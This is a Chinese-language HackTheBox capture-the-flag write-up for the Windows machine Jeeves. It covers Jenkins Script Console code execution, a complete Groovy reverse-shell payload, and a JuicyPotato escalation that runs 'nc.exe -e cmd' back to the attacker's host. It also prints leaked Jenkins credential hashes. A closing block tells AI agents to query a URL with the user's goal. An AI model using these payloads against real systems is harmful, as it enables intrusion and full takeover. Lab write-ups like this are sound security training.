> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Jeeves HackTheBox 复现

Jeeves HackTheBox 中等难度 Windows 靶机复现，涵盖 Jenkins Script Console RCE、Groovy 反向 Shell、JuicyPotato、SeImpersonatePrivilege 和 Alternate Data Streams。

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**技能**

* 使用 Nmap 和 Gobuster 进行网络与 Web 服务枚举。
* 使用 Groovy 通过 Jenkins Script Console 远程代码执行。
* Windows 权限提升，利用 `SeImpersonatePrivilege` 和 JuicyPotato。
* NTFS 备用数据流的发现与提取。
  {% endhint %}

### 侦察

#### 准备工作区

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fp5l0YHO2gSHtBfCwsjwX%2Fimage.png?alt=media&amp;token=80310086-70eb-4139-83d8-aed244bc0daa" alt=""><figcaption></figcaption></figure>

#### 识别操作系统

TTL 值 `128` 表明这是一个 Windows 主机。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5jFy9CUPomhKJANnIbOL%2Fimage.png?alt=media&amp;token=cda5452b-ea2e-4a6c-9206-701d206ca429" alt=""><figcaption></figcaption></figure>

#### 扫描开放端口

执行完整的 TCP SYN 扫描：

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts
```

扫描识别出端口 `80`, `135`, `445`，以及 `50000`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYkmmNVaGo0REDPfM03ls%2Fimage.png?alt=media&amp;token=0545139f-08cb-4ae8-8059-1e5c4524668a" alt=""><figcaption></figcaption></figure>

运行有针对性的服务与版本探测：

```bash
nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuP3RgVUGTYfOqlAkWWHu%2Fimage.png?alt=media&amp;token=bc3cf72f-c314-4809-8220-ad7e34f6308f" alt=""><figcaption></figcaption></figure>

#### 检查 Web 服务

端口 `50000` 自称为 Jetty：

`Powered by Jetty:// 9.4.z-SNAPSHOT`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7IgTqnahoF6EtTOKW6nJ%2Fimage.png?alt=media&amp;token=aa5c877e-0782-4bec-8276-44ce3b7b7a16" alt=""><figcaption></figcaption></figure>

枚举 Web 路径：

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6lA1BnuTx6uwzFckEFyX%2Fimage.png?alt=media&amp;token=f4d7ed91-30c9-4447-abb7-3600682fb702" alt=""><figcaption></figcaption></figure>

该 `/askjeeves` 该路径托管 Jenkins `2.87`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjUW5aId6UYTqWSQnwELs%2Fimage.png?alt=media&amp;token=b581b11e-5f4a-404e-b977-691d4af99d53" alt=""><figcaption></figcaption></figure>

### 初始访问

#### 使用 Jenkins Script Console

打开 **脚本控制台** 位于 `/askjeeves/script`。它接受 Groovy 代码并在 Jenkins 主机上运行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgHFbFoVHTPZXDVRo6eYN%2Fimage.png?alt=media&amp;token=b7c32c15-88b6-46c3-9ecd-78c20bd1879b" alt=""><figcaption></figcaption></figure>

运行一个无害命令以确认代码执行：

```groovy
def process = "PowerShell.exe cmd.exe /c dir".execute()
println "Found text ${process.text}"
```

命令输出证实了远程代码执行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FprrUu6VQdEs9BI6rtkZC%2Fimage.png?alt=media&amp;token=96704baa-6567-42b8-8081-80e46be5d13d" alt=""><figcaption></figcaption></figure>

#### 获取反向 shell

在端口上启动监听器 `443`:

```bash
sudo rlwrap nc -nvlp 443
```

在 Script Console 中运行这个 Groovy 载荷。根据需要替换回连地址和端口。

{% code overflow="wrap" %}

```groovy
Thread.start {
String host="10.10.15.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
```

{% endcode %}

监听器接收到一个 shell，身份为 `kohsuke`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfjawZKXRlyqSQbCY6w45%2Fimage.png?alt=media&amp;token=c8566621-ea77-479b-b7ff-5da8f3557fe0" alt=""><figcaption></figcaption></figure>

#### 查看 Jenkins 凭据

Jenkins 配置中包含一个加密的 API 令牌：

{% code overflow="wrap" %}

```bash
AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw==
```

{% endcode %}

它还将管理员密码存储为 BCrypt 哈希：

{% code overflow="wrap" %}

```bash
$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo1jp46eNfFUgn3O6U5rH%2Fimage.png?alt=media&amp;token=a1a37c1d-4efb-4fbb-a4d1-b326e56602da" alt=""><figcaption></figcaption></figure>

#### 获取用户 flag

{% code overflow="wrap" %}

```bash
type C:\Users\kohsuke\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F23OEmwXPHnpyK8EUCxfF%2Fimage.png?alt=media&amp;token=34374874-6628-48d8-bc01-5143706806b0" alt=""><figcaption></figcaption></figure>

### 权限提升

#### 传输所需工具

从攻击者主机托管这些文件：

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

复制 `nc.exe` 和 JuicyPotato 到目标：

{% code overflow="wrap" %}

```bash
copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe
```

{% endcode %}

```bash
copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FESrLf5YSFgIBOoDaONYl%2Fimage.png?alt=media&amp;token=e2ce0149-338b-4f76-aca1-ad0ff8508599" alt=""><figcaption></figcaption></figure>

#### 利用 `SeImpersonatePrivilege`

为提权 shell 启动一个监听器：

{% code overflow="wrap" %}

```bash
rlwrap nc -nlvp 4444
```

{% endcode %}

运行 JuicyPotato 以生成 `nc.exe` 作为 `NT AUTHORITY\SYSTEM`:

{% code overflow="wrap" %}

```bash
.\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444"
```

{% endcode %}

回连以 `NT AUTHORITY\SYSTEM`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhIN4Z86m8iJHIerulqL8%2Fimage.png?alt=media&amp;token=d1a66516-50ed-49ef-8e77-6a82f597665f" alt=""><figcaption></figcaption></figure>

### root flag

列出 Administrator 桌面目录中的备用数据流：

```cmd
cd C:\Users\Administrator\Desktop
dir /r
```

输出显示 flag 位于 `hm.txt:root.txt:$DATA` 流中。直接读取它：

```bash
more < hm.txt:root.txt:$DATA
```

至此，该机器已被拿下，身份为 `NT AUTHORITY\SYSTEM`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKQnhNBDF9syZbsWUSwBW%2Fimage.png?alt=media&amp;token=b527308d-7019-4534-a58d-1fd1046a23f0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcTRj5nHStNJyCplC0Dnl%2Fimage.png?alt=media&amp;token=92bc0bd3-f976-4e3c-a90d-e18bec111bc0" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
